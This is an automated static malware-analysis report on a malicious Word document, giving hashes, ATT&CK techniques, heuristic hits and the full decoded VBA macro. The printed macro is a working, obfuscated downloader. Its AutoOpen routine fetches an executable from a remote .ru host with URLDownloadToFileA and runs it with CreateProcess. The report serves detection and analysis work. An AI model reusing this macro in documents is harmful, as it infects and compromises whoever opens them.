Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8d5659954a8cc887…

MALICIOUS

Office (OOXML)

72.8 KB Created: 2020-02-11 06:51:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2020-05-25
MD5: 7d5620082f0651565cf9036889eb3e53 SHA-1: 2be83b586f0853a482ef4270a455ef79183725d2 SHA-256: 8d5659954a8cc887ee28afe7b7a40b24065a103f1a3bc15fbf1f40997f541cdc
98 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that execute an AutoOpen function. This function utilizes the URLDownloadToFileA API to download a second-stage payload from a remote location. The document body displays a fake system error message to lure the user into executing the malicious content.

Heuristics 5

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function SideBySide Lib "urlmon" Alias _
      "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
        szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Sub AutoOpen()
    ret = 53
  • External hyperlinks (2) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 2 external hyperlinks — clickable URLs are stored as external relationships. First target: http://europass.cedefop.europa.eu/de/resources/digital-competences
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://7de3.shandow.ru/Drumheads.exeSystemComponentModelTypeDescriptorTypeDescriptorInterfaces Referenced by macro
    • http://7de3.shandow.ru/Drumheads.exeSystemComponentModelTypeDescriptorTypeDescriptorInterfaces�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://support.microsoft.com/kb/899921Referenced by macro
    • http://support.microsoft.com/kb/902312Referenced by macro
    • http://europass.cedefop.europa.eu/de/resources/digital-competencesReferenced by macro
    • http://europass.cedefop.europa.eu/de/resources/european-language-levels-cefrReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3507 bytes
SHA-256: d42a2e36ecb8899f7d93aabea00bc9fdad7fa2bc25def7d826c118ad766ac6be
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Declare Function SideBySide Lib "urlmon" Alias _
  "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
    szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long


Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO)

Option Explicit

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type


Private Type STARTUPINFO
    cb As Long
    lpReserved As Long
    lpDesktop As Long
    lpTitle As Long
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Const SW_SHOWNORMAL             As Long = 1
Private si    As STARTUPINFO
Private pi    As PROCESS_INFORMATION
Dim ret
Dim das
Dim sas

Public Sub AutoOpen()
ret = 53
das = Replace("SystemComponentModelTypeDescriptorTypeDescriptorInterfaceshttp://7de3.shandow.ru/Drumheads.exeSystemComponentModelTypeDescriptorTypeDescriptorInterfaces", "SystemComponentModelTypeDescriptorTypeDescriptorInterfaces", "")
ret = 53
sas = Replace("mNetChunkParserReadStateqSystemComponentModelDesignStandardCommandsVSStandardCommandsE.emNetChunkParserReadStateqxe", "mNetChunkParserReadStateq", "")
ret = 331
ret = SideBySide(0, das, sas, 0, 0)
SystemDataSqlClientSqlColumnEncryptionCspProviderb (sas)
End Sub

Public Function SystemDataSqlClientSqlColumnEncryptionCspProviderb(Filename As String)
Const WindowStyle As Long = SW_SHOWNORMAL
If WindowStyle = WindowStyle Then

    Const STARTF_USESHOWWINDOW      As Long = 1
    Const NORMAL_PRIORITY_CLASS     As Long = &H20
    
    Dim CommandLine As String
    
    Dim n           As Long
    Dim lr          As Long
    Dim CmdLine     As String
    Dim argc        As Long
    Dim argv()      As String
    

    CmdLine = """" & Filename & """"

    si.cb = Len(si)
    GetStartupInfo si
    si.dwFlags = STARTF_USESHOWWINDOW
    si.wShowWindow = WindowStyle

If WindowStyle = WindowStyle Then

    lr = CreateProcess(vbNullString, _
                       CmdLine, _
                       ByVal 0, _
                       ByVal 0, _
                       False, _
                       NORMAL_PRIORITY_CLASS, _
                       ByVal 0, _
                       vbNullString, _
                       si, _
                       pi)
End If
End If


    SystemDataSqlClientSqlColumnEncryptionCspProviderb = lr
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 8b3d3738572669c8f244f1af632b629ceb17791ea4c0b1d82c53b03593a1a072